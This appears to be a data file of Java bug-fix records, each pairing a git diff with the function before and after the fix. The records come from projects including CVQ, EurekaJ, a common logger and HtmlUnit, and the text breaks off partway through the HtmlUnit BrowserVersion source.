this.homeFolderService = homeFolderService; } public void setHomeFolderDAO(IHomeFolderDAO homeFolderDAO) { this.homeFolderDAO = homeFolderDAO; } }
true
true
public void changeState(Individual individual, UserState state) throws CvqModelException, CvqInvalidTransitionException { if (!isValidTransition(individual.getState(), state)) throw new CvqInvalidTransitionException( translationService.translate( "user.state." + individual.getState().toString().toLowerCase()), translationService.translate( "user.state." + state.toString().toLowerCase())); individual.setState(state); individual.setLastModificationDate(new Date()); if (SecurityContext.isBackOfficeContext()) { individual.setQoS(null); } HomeFolder homeFolder = individual.getHomeFolder(); if (UserState.ARCHIVED.equals(state) && individual.getId().equals( homeFolderService.getHomeFolderResponsible(homeFolder.getId()).getId())) { for (Individual i : homeFolder.getIndividuals()) { if (!UserState.ARCHIVED.equals(i.getState())) throw new CvqModelException("user.state.error.mustArchiveResponsibleLast"); } } JsonObject payload = new JsonObject(); payload.addProperty("state", state.toString()); UserAction action = new UserAction(UserAction.Type.STATE_CHANGE, individual.getId(), payload); individual.getHomeFolder().getActions().add(action); homeFolderDAO.update(individual.getHomeFolder()); applicationEventPublisher.publishEvent(new UserEvent(this, action)); if (UserState.INVALID.equals(state) && !UserState.INVALID.equals(homeFolder.getState())) changeState(individual.getHomeFolder(), UserState.INVALID); else if (UserState.VALID.equals(state) || UserState.ARCHIVED.equals(state)) { UserState homeFolderState = state; for (Individual i : individual.getHomeFolder().getIndividuals()) { if (UserState.VALID.equals(i.getState())) { homeFolderState = UserState.VALID; } else if (!UserState.ARCHIVED.equals(i.getState())) { homeFolderState = null; break; } } if (homeFolderState != null) changeState(individual.getHomeFolder(), homeFolderState); } }
public void changeState(Individual individual, UserState state) throws CvqModelException, CvqInvalidTransitionException { if (!isValidTransition(individual.getState(), state)) throw new CvqInvalidTransitionException( translationService.translate( "user.state." + individual.getState().toString().toLowerCase()), translationService.translate( "user.state." + state.toString().toLowerCase())); individual.setState(state); individual.setLastModificationDate(new Date()); if (SecurityContext.isBackOfficeContext()) { individual.setQoS(null); } HomeFolder homeFolder = individual.getHomeFolder(); if (UserState.ARCHIVED.equals(state) && individual.getId().equals( homeFolderService.getHomeFolderResponsible(homeFolder.getId()).getId())) { for (Individual i : homeFolder.getIndividuals()) { if (!UserState.ARCHIVED.equals(i.getState())) throw new CvqModelException("user.state.error.mustArchiveResponsibleLast"); } } JsonObject payload = new JsonObject(); payload.addProperty("state", state.toString()); UserAction action = new UserAction(UserAction.Type.STATE_CHANGE, individual.getId(), payload); individual.getHomeFolder().getActions().add(action); homeFolderDAO.update(individual.getHomeFolder()); applicationEventPublisher.publishEvent(new UserEvent(this, action)); if (UserState.INVALID.equals(state) && !UserState.INVALID.equals(homeFolder.getState())) changeState(individual.getHomeFolder(), UserState.INVALID); else if (UserState.VALID.equals(state) || UserState.ARCHIVED.equals(state)) { UserState homeFolderState = state; for (Individual i : individual.getHomeFolder().getIndividuals()) { if (UserState.VALID.equals(i.getState())) { homeFolderState = UserState.VALID; } else if (!UserState.ARCHIVED.equals(i.getState())) { homeFolderState = null; break; } } if (homeFolderState != null && homeFolderState.equals(UserState.VALID) && !UserState.VALID.equals(individual.getHomeFolder().getState())) changeState(individual.getHomeFolder(), homeFolderState); } }
diff --git a/EurekaJ.Manager/src/main/java/org/eurekaj/manager/servlets/ChartServlet.java b/EurekaJ.Manager/src/main/java/org/eurekaj/manager/servlets/ChartServlet.java index d8e7364..e639c9a 100644 --- a/EurekaJ.Manager/src/main/java/org/eurekaj/manager/servlets/ChartServlet.java +++ b/EurekaJ.Manager/src/main/java/org/eurekaj/manager/servlets/ChartServlet.java @@ -1,182 +1,183 @@ package org.eurekaj.manager.servlets; import org.eurekaj.api.datatypes.Alert; import org.eurekaj.api.datatypes.GroupedStatistics; import org.eurekaj.api.datatypes.LiveStatistics; import org.eurekaj.api.datatypes.TreeMenuNode; import org.eurekaj.api.enumtypes.AlertStatus; import org.eurekaj.manager.json.BuildJsonObjectsUtil; import org.eurekaj.manager.json.ParseJsonObjects; import org.eurekaj.manager.security.SecurityManager; import org.eurekaj.manager.util.ChartUtil; import org.jsflot.xydata.XYDataList; import org.jsflot.xydata.XYDataSetCollection; import org.json.JSONException; import org.json.JSONObject; import javax.servlet.ServletException; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.PrintWriter; import java.util.*; /** * Created by IntelliJ IDEA. * User: joahaa * Date: 1/20/11 * Time: 9:14 AM * To change this template use File | Settings | File Templates. */ public class ChartServlet extends EurekaJGenericServlet { protected int getChartTimeSpan(JSONObject jsonRequest) throws JSONException { int chartTimespan = 10; if (jsonRequest.has("chartTimespan")) { chartTimespan = jsonRequest.getInt("chartTimespan"); } return chartTimespan; } protected int getChartResolution(JSONObject jsonRequest) throws JSONException { int chartResolution = 15; if (jsonRequest.has("chartResolution")) { chartResolution = jsonRequest.getInt("chartResolution"); } return chartResolution; } private boolean isAlertChart(JSONObject jsonRequest) throws JSONException { return jsonRequest.has("path") && jsonRequest.getString("path").startsWith("_alert_:"); } private boolean isGroupedStatisticsChart(JSONObject jsonRequest) throws JSONException { return jsonRequest.has("path") && jsonRequest.getString("path").startsWith("_gs_:"); } protected Long getFromPeriod(int chartTimespan, JSONObject jsonRequest) { Long chartFromMs = ParseJsonObjects.parseLongFromJson(jsonRequest, "chartFrom"); Long fromPeriod = null; if (chartFromMs == null) { Calendar thenCal = Calendar.getInstance(); thenCal.add(Calendar.MINUTE, chartTimespan * -1); fromPeriod = thenCal.getTime().getTime() / 15000; } else { fromPeriod = chartFromMs / 15000; } return fromPeriod; } protected Long getToPeriod(JSONObject jsonRequest) { Long chartToMs = ParseJsonObjects.parseLongFromJson(jsonRequest, "chartTo"); Long toPeriod = null; if (chartToMs == null) { Calendar nowCal = Calendar.getInstance(); toPeriod = nowCal.getTime().getTime() / 15000; } else { toPeriod = chartToMs / 15000; } return toPeriod; } protected Long getChartOffset(JSONObject jsonRequest) throws JSONException { long chartOffset = 0; if (jsonRequest.has("chartOffsetMs")) { chartOffset = jsonRequest.getLong("chartOffsetMs"); } return chartOffset; } protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String jsonResponse = ""; try { JSONObject jsonObject = BuildJsonObjectsUtil.extractRequestJSONContents(request); System.out.println("Accepted JSON: \n" + jsonObject); if (jsonObject.has("getInstrumentationChartData") && SecurityManager.isAuthenticatedAsUser()) { JSONObject keyObject = jsonObject.getJSONObject("getInstrumentationChartData"); String chartId = keyObject.getString("id"); String pathFromClient = keyObject.getString("path"); String chartPath = null; int chartTimespan = getChartTimeSpan(keyObject); int chartResolution = getChartResolution(keyObject); long chartoffset = getChartOffset(keyObject); Long fromPeriod = getFromPeriod(chartTimespan, keyObject); Long toPeriod = getToPeriod(keyObject); List<LiveStatistics> liveList = null; String seriesLabel = null; Alert alert = null; GroupedStatistics groupedStatistics = null; XYDataSetCollection valueCollection = new XYDataSetCollection(); //TODO: This if-else code block needs refactoring. Its not DRY if (isAlertChart(keyObject)) { String alertName = pathFromClient.substring(8, pathFromClient.length()); alert = getBerkeleyTreeMenuService().getAlert(alertName); if (alert != null) { chartPath = alert.getGuiPath(); seriesLabel = "Alert: " + alert.getAlertName(); } liveList = getBerkeleyTreeMenuService().getLiveStatistics(chartPath, fromPeriod, toPeriod); Collections.sort(liveList); valueCollection = ChartUtil.generateChart(liveList, seriesLabel, fromPeriod * 15000, toPeriod * 15000, chartResolution); valueCollection.addDataList(ChartUtil.buildWarningList(alert, AlertStatus.CRITICAL, fromPeriod * 15000, toPeriod * 15000)); valueCollection.addDataList(ChartUtil.buildWarningList(alert, AlertStatus.WARNING, fromPeriod * 15000, toPeriod * 15000)); } else if (isGroupedStatisticsChart(keyObject)) { + chartPath = pathFromClient; String groupName = pathFromClient.substring(5, pathFromClient.length()); groupedStatistics = getBerkeleyTreeMenuService().getGroupedStatistics(groupName); if (groupedStatistics != null) { seriesLabel = "Grouped Statistics: " + groupedStatistics.getName(); for (String gsPath : groupedStatistics.getGroupedPathList()) { liveList = getBerkeleyTreeMenuService().getLiveStatistics(gsPath, fromPeriod, toPeriod); Collections.sort(liveList); for (XYDataList dataList : ChartUtil.generateChart(liveList, gsPath, fromPeriod * 15000, toPeriod * 15000, chartResolution).getDataList()) { valueCollection.addDataList(dataList); } } } } else { chartPath = pathFromClient; seriesLabel = chartPath; liveList = getBerkeleyTreeMenuService().getLiveStatistics(chartPath, fromPeriod, toPeriod); Collections.sort(liveList); valueCollection = ChartUtil.generateChart(liveList, seriesLabel, fromPeriod * 15000, toPeriod * 15000, chartResolution); } TreeMenuNode treeMenuNode = getBerkeleyTreeMenuService().getTreeMenu(chartPath); if (treeMenuNode != null || isGroupedStatisticsChart(keyObject)) { jsonResponse = BuildJsonObjectsUtil.generateChartData(seriesLabel, chartPath, valueCollection, chartoffset); } else { jsonResponse = "{\"instrumentationNode\": \"" + seriesLabel + "\", \"table\": " + BuildJsonObjectsUtil.generateArrayOfEndNodesStartingWith(getBerkeleyTreeMenuService().getTreeMenu(), seriesLabel) + ", \"chart\": null}"; } System.out.println("Got Chart Data:\n" + jsonResponse); } } catch (JSONException jsonException) { throw new IOException("Unable to process JSON Request", jsonException); } PrintWriter writer = response.getWriter(); if (jsonResponse.length() <= 2) { jsonResponse = "{}"; } writer.write(jsonResponse); response.flushBuffer(); } protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { } }
true
true
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String jsonResponse = ""; try { JSONObject jsonObject = BuildJsonObjectsUtil.extractRequestJSONContents(request); System.out.println("Accepted JSON: \n" + jsonObject); if (jsonObject.has("getInstrumentationChartData") && SecurityManager.isAuthenticatedAsUser()) { JSONObject keyObject = jsonObject.getJSONObject("getInstrumentationChartData"); String chartId = keyObject.getString("id"); String pathFromClient = keyObject.getString("path"); String chartPath = null; int chartTimespan = getChartTimeSpan(keyObject); int chartResolution = getChartResolution(keyObject); long chartoffset = getChartOffset(keyObject); Long fromPeriod = getFromPeriod(chartTimespan, keyObject); Long toPeriod = getToPeriod(keyObject); List<LiveStatistics> liveList = null; String seriesLabel = null; Alert alert = null; GroupedStatistics groupedStatistics = null; XYDataSetCollection valueCollection = new XYDataSetCollection(); //TODO: This if-else code block needs refactoring. Its not DRY if (isAlertChart(keyObject)) { String alertName = pathFromClient.substring(8, pathFromClient.length()); alert = getBerkeleyTreeMenuService().getAlert(alertName); if (alert != null) { chartPath = alert.getGuiPath(); seriesLabel = "Alert: " + alert.getAlertName(); } liveList = getBerkeleyTreeMenuService().getLiveStatistics(chartPath, fromPeriod, toPeriod); Collections.sort(liveList); valueCollection = ChartUtil.generateChart(liveList, seriesLabel, fromPeriod * 15000, toPeriod * 15000, chartResolution); valueCollection.addDataList(ChartUtil.buildWarningList(alert, AlertStatus.CRITICAL, fromPeriod * 15000, toPeriod * 15000)); valueCollection.addDataList(ChartUtil.buildWarningList(alert, AlertStatus.WARNING, fromPeriod * 15000, toPeriod * 15000)); } else if (isGroupedStatisticsChart(keyObject)) { String groupName = pathFromClient.substring(5, pathFromClient.length()); groupedStatistics = getBerkeleyTreeMenuService().getGroupedStatistics(groupName); if (groupedStatistics != null) { seriesLabel = "Grouped Statistics: " + groupedStatistics.getName(); for (String gsPath : groupedStatistics.getGroupedPathList()) { liveList = getBerkeleyTreeMenuService().getLiveStatistics(gsPath, fromPeriod, toPeriod); Collections.sort(liveList); for (XYDataList dataList : ChartUtil.generateChart(liveList, gsPath, fromPeriod * 15000, toPeriod * 15000, chartResolution).getDataList()) { valueCollection.addDataList(dataList); } } } } else { chartPath = pathFromClient; seriesLabel = chartPath; liveList = getBerkeleyTreeMenuService().getLiveStatistics(chartPath, fromPeriod, toPeriod); Collections.sort(liveList); valueCollection = ChartUtil.generateChart(liveList, seriesLabel, fromPeriod * 15000, toPeriod * 15000, chartResolution); } TreeMenuNode treeMenuNode = getBerkeleyTreeMenuService().getTreeMenu(chartPath); if (treeMenuNode != null || isGroupedStatisticsChart(keyObject)) { jsonResponse = BuildJsonObjectsUtil.generateChartData(seriesLabel, chartPath, valueCollection, chartoffset); } else { jsonResponse = "{\"instrumentationNode\": \"" + seriesLabel + "\", \"table\": " + BuildJsonObjectsUtil.generateArrayOfEndNodesStartingWith(getBerkeleyTreeMenuService().getTreeMenu(), seriesLabel) + ", \"chart\": null}"; } System.out.println("Got Chart Data:\n" + jsonResponse); } } catch (JSONException jsonException) { throw new IOException("Unable to process JSON Request", jsonException); } PrintWriter writer = response.getWriter(); if (jsonResponse.length() <= 2) { jsonResponse = "{}"; } writer.write(jsonResponse); response.flushBuffer(); }
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String jsonResponse = ""; try { JSONObject jsonObject = BuildJsonObjectsUtil.extractRequestJSONContents(request); System.out.println("Accepted JSON: \n" + jsonObject); if (jsonObject.has("getInstrumentationChartData") && SecurityManager.isAuthenticatedAsUser()) { JSONObject keyObject = jsonObject.getJSONObject("getInstrumentationChartData"); String chartId = keyObject.getString("id"); String pathFromClient = keyObject.getString("path"); String chartPath = null; int chartTimespan = getChartTimeSpan(keyObject); int chartResolution = getChartResolution(keyObject); long chartoffset = getChartOffset(keyObject); Long fromPeriod = getFromPeriod(chartTimespan, keyObject); Long toPeriod = getToPeriod(keyObject); List<LiveStatistics> liveList = null; String seriesLabel = null; Alert alert = null; GroupedStatistics groupedStatistics = null; XYDataSetCollection valueCollection = new XYDataSetCollection(); //TODO: This if-else code block needs refactoring. Its not DRY if (isAlertChart(keyObject)) { String alertName = pathFromClient.substring(8, pathFromClient.length()); alert = getBerkeleyTreeMenuService().getAlert(alertName); if (alert != null) { chartPath = alert.getGuiPath(); seriesLabel = "Alert: " + alert.getAlertName(); } liveList = getBerkeleyTreeMenuService().getLiveStatistics(chartPath, fromPeriod, toPeriod); Collections.sort(liveList); valueCollection = ChartUtil.generateChart(liveList, seriesLabel, fromPeriod * 15000, toPeriod * 15000, chartResolution); valueCollection.addDataList(ChartUtil.buildWarningList(alert, AlertStatus.CRITICAL, fromPeriod * 15000, toPeriod * 15000)); valueCollection.addDataList(ChartUtil.buildWarningList(alert, AlertStatus.WARNING, fromPeriod * 15000, toPeriod * 15000)); } else if (isGroupedStatisticsChart(keyObject)) { chartPath = pathFromClient; String groupName = pathFromClient.substring(5, pathFromClient.length()); groupedStatistics = getBerkeleyTreeMenuService().getGroupedStatistics(groupName); if (groupedStatistics != null) { seriesLabel = "Grouped Statistics: " + groupedStatistics.getName(); for (String gsPath : groupedStatistics.getGroupedPathList()) { liveList = getBerkeleyTreeMenuService().getLiveStatistics(gsPath, fromPeriod, toPeriod); Collections.sort(liveList); for (XYDataList dataList : ChartUtil.generateChart(liveList, gsPath, fromPeriod * 15000, toPeriod * 15000, chartResolution).getDataList()) { valueCollection.addDataList(dataList); } } } } else { chartPath = pathFromClient; seriesLabel = chartPath; liveList = getBerkeleyTreeMenuService().getLiveStatistics(chartPath, fromPeriod, toPeriod); Collections.sort(liveList); valueCollection = ChartUtil.generateChart(liveList, seriesLabel, fromPeriod * 15000, toPeriod * 15000, chartResolution); } TreeMenuNode treeMenuNode = getBerkeleyTreeMenuService().getTreeMenu(chartPath); if (treeMenuNode != null || isGroupedStatisticsChart(keyObject)) { jsonResponse = BuildJsonObjectsUtil.generateChartData(seriesLabel, chartPath, valueCollection, chartoffset); } else { jsonResponse = "{\"instrumentationNode\": \"" + seriesLabel + "\", \"table\": " + BuildJsonObjectsUtil.generateArrayOfEndNodesStartingWith(getBerkeleyTreeMenuService().getTreeMenu(), seriesLabel) + ", \"chart\": null}"; } System.out.println("Got Chart Data:\n" + jsonResponse); } } catch (JSONException jsonException) { throw new IOException("Unable to process JSON Request", jsonException); } PrintWriter writer = response.getWriter(); if (jsonResponse.length() <= 2) { jsonResponse = "{}"; } writer.write(jsonResponse); response.flushBuffer(); }
diff --git a/JavaCommon/src/logger/CommonLogger.java b/JavaCommon/src/logger/CommonLogger.java index 697e2d8..931d602 100644 --- a/JavaCommon/src/logger/CommonLogger.java +++ b/JavaCommon/src/logger/CommonLogger.java @@ -1,73 +1,73 @@ package logger; import java.io.PrintStream; import java.util.logging.Handler; import java.util.logging.Level; import java.util.logging.LogRecord; import java.util.logging.Logger; /** * Defines a wrapper for {@link Logger} with a given format. * TODO(cmihail): explain the format * * @author cmihail */ public class CommonLogger { private static Logger logger = null; // TODO(cmihail): maybe use a file /** * @param header the name of the logger used as a header at printing the message */ private static void initiate(String header) { - if (header == logger.getName()) { + if (logger != null && header == logger.getName()) { return; } logger = Logger.getLogger(header); // Remove any existing handlers. for (Handler handler : logger.getHandlers().clone()) { logger.removeHandler(handler); } // Add logger handler with a given formatting. logger.addHandler(new Handler() { @Override public void publish(LogRecord record) { Level level = record.getLevel(); System.out.println("[" + record.getLoggerName() + "] (" + record.getSourceClassName() + ", " + level.getName() + "): " + record.getMessage()); if (level == Level.SEVERE) { System.exit(1); } } @Override public void flush() { System.out.flush(); } @Override public void close() throws SecurityException { } }); } /** * Gets the logger associated with the header * @param header * @return the logger */ public static Logger getLogger(String header) { initiate(header); return logger; } /** * TODO(cmihail): doesn't work for now * @return */ public static PrintStream getPrintStream() { return System.err; } }
true
true
private static void initiate(String header) { if (header == logger.getName()) { return; } logger = Logger.getLogger(header); // Remove any existing handlers. for (Handler handler : logger.getHandlers().clone()) { logger.removeHandler(handler); } // Add logger handler with a given formatting. logger.addHandler(new Handler() { @Override public void publish(LogRecord record) { Level level = record.getLevel(); System.out.println("[" + record.getLoggerName() + "] (" + record.getSourceClassName() + ", " + level.getName() + "): " + record.getMessage()); if (level == Level.SEVERE) { System.exit(1); } } @Override public void flush() { System.out.flush(); } @Override public void close() throws SecurityException { } }); }
private static void initiate(String header) { if (logger != null && header == logger.getName()) { return; } logger = Logger.getLogger(header); // Remove any existing handlers. for (Handler handler : logger.getHandlers().clone()) { logger.removeHandler(handler); } // Add logger handler with a given formatting. logger.addHandler(new Handler() { @Override public void publish(LogRecord record) { Level level = record.getLevel(); System.out.println("[" + record.getLoggerName() + "] (" + record.getSourceClassName() + ", " + level.getName() + "): " + record.getMessage()); if (level == Level.SEVERE) { System.exit(1); } } @Override public void flush() { System.out.flush(); } @Override public void close() throws SecurityException { } }); }
diff --git a/htmlunit/src/main/java/com/gargoylesoftware/htmlunit/BrowserVersion.java b/htmlunit/src/main/java/com/gargoylesoftware/htmlunit/BrowserVersion.java index d3a0ccc63..2f7f337d6 100644 --- a/htmlunit/src/main/java/com/gargoylesoftware/htmlunit/BrowserVersion.java +++ b/htmlunit/src/main/java/com/gargoylesoftware/htmlunit/BrowserVersion.java @@ -1,507 +1,508 @@ /* * Copyright (c) 2002-2010 Gargoyle Software Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.gargoylesoftware.htmlunit; import java.io.Serializable; import java.util.ArrayList; import java.util.Arrays; import java.util.HashSet; import java.util.List; import java.util.Properties; import java.util.Set; import org.apache.commons.lang.builder.EqualsBuilder; import org.apache.commons.lang.builder.HashCodeBuilder; /** * Objects of this class represent one specific version of a given browser. Predefined * constants are provided for common browser versions. * * If you wish to create a BrowserVersion for a browser that doesn't have a constant defined * but aren't sure what values to pass into the constructor then point your browser at * <a href="http://htmlunit.sourceforge.net/cgi-bin/browserVersion"> * http://htmlunit.sourceforge.net/cgi-bin/browserVersion</a> * and the code will be generated for you. * * @version $Revision$ * @author <a href="mailto:[email protected]">Mike Bowler</a> * @author Daniel Gredler * @author Marc Guillemot * @author Chris Erskine * @author Ahmed Ashour */ public class BrowserVersion implements Serializable { private String applicationCodeName_ = APP_CODE_NAME; private String applicationMinorVersion_ = "0"; private String applicationName_; private String applicationVersion_; private String browserLanguage_ = LANGUAGE_ENGLISH_US; private String cpuClass_ = CPU_CLASS_X86; private boolean onLine_ = true; private String platform_ = PLATFORM_WIN32; private String systemLanguage_ = LANGUAGE_ENGLISH_US; private String userAgent_; private String userLanguage_ = LANGUAGE_ENGLISH_US; private float browserVersionNumeric_; private Set<PluginConfiguration> plugins_ = new HashSet<PluginConfiguration>(); private final List<BrowserVersionFeatures> features_ = new ArrayList<BrowserVersionFeatures>(); private final String nickname_; /** * Application code name for both Internet Explorer and Netscape series. * @deprecated as of 2.8, without replacement */ @Deprecated public static final String APP_CODE_NAME = "Mozilla"; /** * Application name for the Internet Explorer series of browsers. * @deprecated as of 2.8, without replacement */ @Deprecated public static final String INTERNET_EXPLORER = "Microsoft Internet Explorer"; /** * Application name the Netscape navigator series of browsers. * @deprecated as of 2.8, without replacement */ @Deprecated public static final String NETSCAPE = "Netscape"; /** * United States English language identifier. * @deprecated as of 2.8, without replacement */ @Deprecated public static final String LANGUAGE_ENGLISH_US = "en-us"; /** * The X86 CPU class. * @deprecated as of 2.8, without replacement */ @Deprecated public static final String CPU_CLASS_X86 = "x86"; /** * The WIN32 platform. * @deprecated as of 2.8, without replacement */ @Deprecated public static final String PLATFORM_WIN32 = "Win32"; /** * Firefox 3.0. * @deprecated since HtmlUnit-2.9. This means that no effort will be made to improve * simulation for this browser version until it is definitely removed. */ @Deprecated public static final BrowserVersion FIREFOX_3 = new BrowserVersion( NETSCAPE, "5.0 (Windows; en-US)", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19", 3, "FF3", null); /** Firefox 3.6. */ public static final BrowserVersion FIREFOX_3_6 = new BrowserVersion( NETSCAPE, "5.0 (Windows; en-US)", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8", (float) 3.6, "FF3.6", null); /** Internet Explorer 6. */ public static final BrowserVersion INTERNET_EXPLORER_6 = new BrowserVersion( INTERNET_EXPLORER, "4.0 (compatible; MSIE 6.0b; Windows 98)", "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)", 6, "IE6", null); /** Internet Explorer 7. */ public static final BrowserVersion INTERNET_EXPLORER_7 = new BrowserVersion( INTERNET_EXPLORER, "4.0 (compatible; MSIE 7.0; Windows NT 5.1)", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)", 7, "IE7", null); /** Internet Explorer 8. */ public static final BrowserVersion INTERNET_EXPLORER_8 = new BrowserVersion( INTERNET_EXPLORER, "4.0 (compatible; MSIE 8.0; Windows NT 6.0)", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)", 8, "IE8", null); /** The default browser version. */ private static BrowserVersion DefaultBrowserVersion_ = INTERNET_EXPLORER_7; /** Register plugins for the Firefox browser versions. */ static { INTERNET_EXPLORER_6.initDefaultFeatures(); INTERNET_EXPLORER_7.initDefaultFeatures(); INTERNET_EXPLORER_8.initDefaultFeatures(); FIREFOX_3.initDefaultFeatures(); FIREFOX_3_6.initDefaultFeatures(); final PluginConfiguration flash = new PluginConfiguration("Shockwave Flash", "Shockwave Flash 9.0 r31", "libflashplayer.so"); flash.getMimeTypes().add(new PluginConfiguration.MimeType("application/x-shockwave-flash", "Shockwave Flash", "swf")); FIREFOX_3.getPlugins().add(flash); FIREFOX_3_6.getPlugins().add(flash); } /** * Instantiates one. * * @param applicationName the name of the application * @param applicationVersion the version string of the application * @param userAgent the user agent string that will be sent to the server * @param browserVersionNumeric the floating number version of the browser */ public BrowserVersion(final String applicationName, final String applicationVersion, final String userAgent, final float browserVersionNumeric) { this(applicationName, applicationVersion, userAgent, browserVersionNumeric, applicationName + browserVersionNumeric, null); } /** * Instantiates one. * * @param applicationName the name of the application * @param applicationVersion the version string of the application * @param userAgent the user agent string that will be sent to the server * @param browserVersionNumeric the floating number version of the browser * @param features the browser features */ public BrowserVersion(final String applicationName, final String applicationVersion, final String userAgent, final float browserVersionNumeric, final BrowserVersionFeatures[] features) { this(applicationName, applicationVersion, userAgent, browserVersionNumeric, applicationName + browserVersionNumeric, features); } /** * Creates a new browser version instance. * * @param applicationName the name of the application * @param applicationVersion the version string of the application * @param userAgent the user agent string that will be sent to the server * @param javaScriptVersion the version of JavaScript * @param browserVersionNumeric the floating number version of the browser * @param nickname the short name of the browser (like "FF2", "FF3", "IE6", ...) * @param features the browser features */ private BrowserVersion(final String applicationName, final String applicationVersion, final String userAgent, final float browserVersionNumeric, final String nickname, final BrowserVersionFeatures[] features) { applicationName_ = applicationName; setApplicationVersion(applicationVersion); userAgent_ = userAgent; browserVersionNumeric_ = browserVersionNumeric; nickname_ = nickname; if (features != null) { features_.addAll(Arrays.asList(features)); } } private void initDefaultFeatures() { try { final Properties props = new Properties(); props.load(getClass().getResourceAsStream("/com/gargoylesoftware/htmlunit/javascript/configuration/" + nickname_ + ".properties")); for (final Object key : props.keySet()) { try { features_.add(BrowserVersionFeatures.valueOf(key.toString())); } catch (final IllegalArgumentException iae) { - throw new RuntimeException("Invalid entry '" + key.toString() + "' found in configuration file for BrowserVersion: " + nickname_); + throw new RuntimeException("Invalid entry '" + + key + "' found in configuration file for BrowserVersion: " + nickname_); } } } catch (final Exception e) { throw new RuntimeException("Configuration file not found for BrowserVersion: " + nickname_); } } /** * Returns the default browser version that is used whenever a specific version isn't specified. * Defaults to {@link #INTERNET_EXPLORER_7}. * @return the default browser version */ public static BrowserVersion getDefault() { return DefaultBrowserVersion_; } /** * Sets the default browser version that is used whenever a specific version isn't specified. * @param newBrowserVersion the new default browser version */ public static void setDefault(final BrowserVersion newBrowserVersion) { WebAssert.notNull("newBrowserVersion", newBrowserVersion); DefaultBrowserVersion_ = newBrowserVersion; } /** * Returns <tt>true</tt> if this <tt>BrowserVersion</tt> instance represents some * version of Internet Explorer. * @return whether or not this version is a version of IE */ public final boolean isIE() { return INTERNET_EXPLORER.equals(getApplicationName()); } /** * Returns <tt>true</tt> if this <tt>BrowserVersion</tt> instance represents some * version of Firefox like {@link #FIREFOX_2} or {@link #FIREFOX_3}. * @return whether or not this version is a version of a Firefox browser */ public final boolean isFirefox() { return NETSCAPE.equals(getApplicationName()); } /** * Returns the application code name, for example "Mozilla". * Default value is {@link #APP_CODE_NAME} if not explicitly configured. * @return the application code name * @see <a href="http://msdn.microsoft.com/en-us/library/ms533077.aspx">MSDN documentation</a> */ public String getApplicationCodeName() { return applicationCodeName_; } /** * Returns the application minor version, for example "0". * Default value is "0" if not explicitly configured. * @return the application minor version * @see <a href="http://msdn.microsoft.com/en-us/library/ms533078.aspx">MSDN documentation</a> */ public String getApplicationMinorVersion() { return applicationMinorVersion_; } /** * Returns the application name, for example "Microsoft Internet Explorer". * @return the application name * @see <a href="http://msdn.microsoft.com/en-us/library/ms533079.aspx">MSDN documentation</a> */ public String getApplicationName() { return applicationName_; } /** * Returns the application version, for example "4.0 (compatible; MSIE 6.0b; Windows 98)". * @return the application version * @see <a href="http://msdn.microsoft.com/en-us/library/ms533080.aspx">MSDN documentation</a> */ public String getApplicationVersion() { return applicationVersion_; } /** * Returns the browser application language, for example "en-us". * Default value is {@link #LANGUAGE_ENGLISH_US} if not explicitly configured. * @return the browser application language * @see <a href="http://msdn.microsoft.com/en-us/library/ms533542.aspx">MSDN documentation</a> */ public String getBrowserLanguage() { return browserLanguage_; } /** * Returns the type of CPU in the machine, for example "x86". * Default value is {@link #CPU_CLASS_X86} if not explicitly configured. * @return the type of CPU in the machine * @see <a href="http://msdn.microsoft.com/en-us/library/ms533697.aspx">MSDN documentation</a> */ public String getCpuClass() { return cpuClass_; } /** * Returns <tt>true</tt> if the browser is currently online. * Default value is <code>true</code> if not explicitly configured. * @return <tt>true</tt> if the browser is currently online * @see <a href="http://msdn.microsoft.com/en-us/library/ms534307.aspx">MSDN documentation</a> */ public boolean isOnLine() { return onLine_; } /** * Returns the platform on which the application is running, for example "Win32". * Default value is {@link #PLATFORM_WIN32} if not explicitly configured. * @return the platform on which the application is running * @see <a href="http://msdn.microsoft.com/en-us/library/ms534340.aspx">MSDN documentation</a> */ public String getPlatform() { return platform_; } /** * Returns the system language, for example "en-us". * Default value is {@link #LANGUAGE_ENGLISH_US} if not explicitly configured. * @return the system language * @see <a href="http://msdn.microsoft.com/en-us/library/ms534653.aspx">MSDN documentation</a> */ public String getSystemLanguage() { return systemLanguage_; } /** * Returns the user agent string, for example "Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)". * @return the user agent string */ public String getUserAgent() { return userAgent_; } /** * Returns the user language, for example "en-us". * Default value is {@link #LANGUAGE_ENGLISH_US} if not explicitly configured. * @return the user language * @see <a href="http://msdn.microsoft.com/en-us/library/ms534713.aspx">MSDN documentation</a> */ public String getUserLanguage() { return userLanguage_; } /** * @param applicationCodeName the applicationCodeName to set */ public void setApplicationCodeName(final String applicationCodeName) { applicationCodeName_ = applicationCodeName; } /** * @param applicationMinorVersion the applicationMinorVersion to set */ public void setApplicationMinorVersion(final String applicationMinorVersion) { applicationMinorVersion_ = applicationMinorVersion; } /** * @param applicationName the applicationName to set */ public void setApplicationName(final String applicationName) { applicationName_ = applicationName; } /** * @param applicationVersion the applicationVersion to set */ public void setApplicationVersion(final String applicationVersion) { applicationVersion_ = applicationVersion; } /** * @param browserLanguage the browserLanguage to set */ public void setBrowserLanguage(final String browserLanguage) { browserLanguage_ = browserLanguage; } /** * @param cpuClass the cpuClass to set */ public void setCpuClass(final String cpuClass) { cpuClass_ = cpuClass; } /** * @param onLine the onLine to set */ public void setOnLine(final boolean onLine) { onLine_ = onLine; } /** * @param platform the platform to set */ public void 